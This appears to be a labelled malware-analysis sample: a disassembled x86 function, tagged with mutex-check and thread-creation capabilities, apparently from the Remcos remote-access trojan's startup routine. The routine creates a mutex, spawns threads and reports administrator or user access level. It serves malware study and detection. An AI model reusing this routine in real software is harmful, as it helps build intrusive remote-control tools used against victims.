Function at 0x4097c2
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword [ebp + 8]
sub esp, 0xfc
mov dword [0x464c90], eax
push ebx
push esi
push edi
call fcn.0041390f
lea ecx, [esp + 0x40]
call fcn.00409b49
sub esp, 0x18
mov ecx, esp
push 0x466f14
call fcn.004021d0
sub esp, 0x18
lea eax, [esp + 0x70]
mov ecx, esp
push eax
call fcn.004021d0
lea ecx, [esp + 0x58]
call fcn.00412fa9
add esp, 0x30
push eax
call fcn.00409f22
lea ecx, [esp + 0x28]
call fcn.004034ea
mov ecx, dword [ebp + 0x10]
cmp byte [ecx], 0x2d
jne 0x40988d
cmp byte [ecx + 1], 0x6c
jne 0x40988d
movzx eax, byte [ecx + 2]
test al, al
jne 0x40988d
push ecx
push ecx
push 2
push str.license_code.txt
lea ecx, [esp + 0x68]
call fcn.00409fc8
push 0x34
mov ecx, 0x466ef0
call fcn.004034bf
mov ecx, eax
call fcn.00402018
mov edx, eax
lea ecx, [esp + 0x58]
call fcn.0040b351
lea ecx, [esp + 0x58]
call fcn.00409f79
lea ecx, [esp + 0x58]
call fcn.00409b36
lea ecx, [esp + 0x40]
call fcn.00402081
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov ebx, 0x466ef0
push 3
mov ecx, ebx
call fcn.004034bf
push str._nF2
push 0xe
mov ecx, ebx
call fcn.004034bf
push eax
mov edx, str.Software_
lea ecx, [esp + 0x14]
call fcn.00402a81
pop ecx
mov edx, eax
lea ecx, [esp + 0x2c]
call fcn.0040631c
pop ecx
push eax
mov ecx, 0x466e90
call fcn.0040208b
lea ecx, [esp + 0x28]
call fcn.00402081
lea ecx, [esp + 0xc]
call fcn.00402081
push 0xe
mov ecx, ebx
call fcn.004034bf
mov esi, 0x466ec0
push eax
mov ecx, esi
call fcn.00402067
push 0x458e10
mov ecx, 0x466f2c
call fcn.00403f0f
mov ecx, esi
call fcn.00402018
push eax
push 1
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x409878
mov eax, dword [0x466a10]
test eax, eax
je 0x409936
call eax
push 0x104
push 0x464a88
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call fcn.00412640
mov eax, dword [0x466a1c]
test eax, eax
je 0x40995c
call eax
mov dword [0x4639b0], eax
push 0xb
mov ecx, ebx
call fcn.004034bf
mov ecx, eax
call fcn.00402018
push eax
mov ecx, 0x466e60
call fcn.00405c21
push 4
mov ecx, ebx
call fcn.004034bf
push 5
mov ecx, ebx
call fcn.004034bf
push 8
mov ecx, ebx
call fcn.004034bf
push 3
mov ecx, ebx
call fcn.004034bf
mov ecx, eax
call fcn.00402018
cmp byte [eax], 0
je 0x409a0e
push 0x30
mov ecx, ebx
call fcn.004034bf
mov ecx, eax
call fcn.00402018
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x4099ba
sub eax, edx
sar eax, 1
je 0x409a0e
push 9
mov ecx, ebx
call fcn.004034bf
mov ecx, eax
call fcn.00402018
push 0x30
mov ecx, ebx
mov esi, eax
call fcn.004034bf
mov ecx, eax
call fcn.00402018
mov dl, byte [esi]
lea ecx, [esp + 0xc]
push eax
call fcn.0040878c
pop ecx
push eax
mov ecx, 0x466ea8
call fcn.00405c2a
lea ecx, [esp + 0xc]
call fcn.004034ef
push 1
push 0x34
mov ecx, ebx
call fcn.004034bf
mov ecx, eax
call fcn.00402018
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00402168
push str.licence
mov ecx, 0x466e90
call fcn.00402018
mov edx, eax
call fcn.0040c683
add esp, 0x20
mov ecx, ebx
push 0x28
call fcn.004034bf
mov ecx, eax
call fcn.00402018
push eax
call fcn.00431dd6
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
mov byte [0x464a81], al
pop ecx
cmp al, 2
jne 0x409a6e
mov cl, 1
jmp 0x409a74
cmp al, 1
jne 0x409a85
xor cl, cl
call fcn.00413a99
push edi
push edi
push edi
push 0x414305
push edi
push edi
call esi
sub esp, 0x18
mov ecx, esp
push str.Remcos_Agent_initialized
call fcn.00402168
sub esp, 0x18
mov ebx, 0x458410
mov ecx, esp
push ebx
call fcn.00402168
call fcn.00412866
add esp, 0x30
lea ecx, [esp + 0xc]
call fcn.00412984
push eax
mov ecx, 0x466efc
call fcn.00405c2a
lea ecx, [esp + 0xc]
call fcn.004034ef
mov eax, dword [0x466a14]
test eax, eax
je 0x409ad5
push edi
call eax
push edi
push edi
push edi
push 0x409bfd
push edi
push edi
call esi
mov eax, dword [0x4639b0]
sub eax, edi
je 0x409af6
sub eax, 1
jne 0x409b30
push str.Administrator
jmp 0x409afb
push str.User
lea ecx, [esp + 0x10]
call fcn.00402168
sub esp, 0x18
mov edx, str.Access_Level:
mov ecx, esp
push eax
call fcn.00402a5d
sub esp, 0x14
mov ecx, esp
push ebx
call fcn.00402168
call fcn.00412866
add esp, 0x30
lea ecx, [esp + 0xc]
call fcn.00402081
call fcn.0040de1a
int3